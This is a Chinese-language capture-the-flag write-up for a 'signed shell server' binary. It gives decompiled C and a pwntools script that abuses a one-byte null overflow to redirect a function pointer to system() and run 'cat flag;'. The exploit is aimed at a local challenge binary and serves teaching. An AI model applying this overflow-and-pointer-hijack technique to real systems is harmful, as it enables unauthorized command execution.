signed shell server
题目
分析
先随便把玩一下,有两个功能,一个是sign,一个是execute,sign会给出一个命令的签名,然后execute给出命令,并给出签名,如果匹配成功就会使用system执行。
保护:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
没有开启PIE,在0x602240位置有一个变量,表示是否使用MD5,不为0则使用HMAC-MD5,否则使用HMAC-SHA1作为签名。
sign的时候先输入命令,只支持ls等几个没有什么用的命令,然后进行HMAC,给出结果作为签名,exeucte的时候同样进行HMAC。由于HMAC使用了flag的值作为key,显然是不可能使用他的sign以外的函数来自行签名的。
有趣的是它的execute函数:
__int64 execute_it()
{
size_t v0; // r13@6
char *v1; // rdi@6
unsigned int v2; // er12@6
char *v3; // rbx@6
__int64 v4; // rax@6
void *v5; // rax@6
size_t v6; // r13@7
char *v7; // rdi@7
unsigned int v8; // er12@7
char *v9; // rbx@7
__int64 v10; // rax@7
void *v11; // rax@7
void *v12; // rsi@16
size_t n; // [sp+Ch] [bp-64h]@8
unsigned int i; // [sp+14h] [bp-5Ch]@13
int v16; // [sp+18h] [bp-58h]@3
int v17; // [sp+1Ch] [bp-54h]@5
void *dest; // [sp+20h] [bp-50h]@3
void *src; // [sp+28h] [bp-48h]@6
char *s; // [sp+30h] [bp-40h]@5
char *s1; // [sp+38h] [bp-38h]@8
void *buf; // [sp+40h] [bp-30h]@8
__int64 v23; // [sp+48h] [bp-28h]@1
v23 = *MK_FP(__FS__, 40LL);
if ( !exec_guy )
{
exec_guy = (__int64)calloc(0x24uLL, 1uLL);
s_exec_guy = exec_guy;
m_exec_guy = exec_guy + 1;
*(_QWORD *)(exec_guy + 20) = deny_command;
*(_QWORD *)(s_exec_guy + 28) = exec_command;
}
v16 = byte_602240;
dest = (void *)m_exec_guy;
if ( !byte_602240 )
dest = (void *)s_exec_guy;
puts("what command do you want to run?");
printf(">_ ");
v17 = read(0, global, 0x100uLL);
global[(signed __int64)v17] = 0;
s = global;
if ( byte_602240 )
{
v0 = strlen(s);
v1 = key;
v2 = strlen(key);
v3 = key;
LODWORD(v4) = EVP_md5(v1, global);
LODWORD(v5) = HMAC(v4, v3, v2, s, v0, 0LL);
src = v5;
}
else
{
v6 = strlen(s);
v7 = key;
v8 = strlen(key);
v9 = key;
LODWORD(v10) = EVP_sha1(v7, global);
LODWORD(v11) = HMAC(v10, v9, v8, s, v6, 0LL);
src = v11;
}
memcpy(dest, src, (unsigned int)n);
s1 = (char *)calloc(1uLL, (unsigned int)(2 * n + 1));
buf = calloc(1uLL, (unsigned int)(2 * n + 1));
printf("gimme signature:\n>_ ");
v17 = read(0, buf, (unsigned int)(2 * n + 1));
for ( HIDWORD(n) = 0; (unsigned int)(2 * n + 1) > HIDWORD(n); ++HIDWORD(n) )
{
if ( *((_BYTE *)buf + SHIDWORD(n)) == 10 )
{
*((_BYTE *)buf + SHIDWORD(n)) = 0;
break;
}
}
for ( i = 0; i < (unsigned int)n; ++i )
sprintf(&s1[2 * i], "%02x", *((_BYTE *)src + i));
v12 = buf;
if ( !strcmp(s1, (const char *)buf) )
(*(void (__fastcall **)(char *, void *))(m_exec_guy + 27))(global, v12);
else
(*(void (__fastcall **)(char *, void *))(m_exec_guy + 19))(global, v12);
puts(byte_40165B);
return *MK_FP(__FS__, 40LL) ^ v23;
}
漏洞
- global这个变量存在一个null byte overflow,会多出一个字节
- 这个execute_guy,大概结构是:
struct ExecuteGuy {
char buf[20];
void* deny_func;
void* execute_func;
}
在使用md5时exec_guy将会后移一位,而sha1则不会
另外,deny的函数位于0x400d36,exec的函数位于0x400d5b,只有最后一个字节不同。
3. sha1比md5长,将会是20字节大小
在exec的时候,触发null byte overflow会导致use_md5为0,但是exec_guy已经初始化结束了,所以之前选择的是MD5会导致使用的是exec_guy + 1,这样的话,sha1加密会导致最后一个字节溢出到deny_func中去,而deny_func和exec_func的字节只有最后一位不一样,所以只需要产生一个加密后最后一个字节为exec_func的最低位的shell 命令,溢出后执行deny_func会去执行exec,也就是system,最后就可以得到flag了
exp.py
from pwn import *
import string
context(os='linux', arch='amd64', log_level='debug')
DEBUG = 1
GDB = 1
if DEBUG:
pass
# p_global = process("./sss")
def sign(p, command, possible=True):
p.recvuntil('>_')
p.sendline('1')
p.recvuntil('>_')
p.sendline(command)
if possible:
p.recvuntil('signature: \n')
sig = p.recvline()[:-1]
else:
return
return sig
def execute(p, command, sig):
p.recvuntil('>_')
p.sendline('2')
p.recvuntil('>_')
p.sendline(command)
p.recvuntil('>_')
p.sendline(sig)
return p.recvline()[:-1]
def fuzz(test_str, len_max):
for x in string.printable:
with process("./sss") as p:
try:
res = execute(p, (test_str + x).ljust(255, 'a'), 'abc')
if 'flag{' not in res:
continue
log.success(res)
return
except:
continue
if len_max == len(test_str):
return
def main():
if GDB:
raw_input()
fuzz('cat flag;', 12)
if __name__ == "__main__":
main()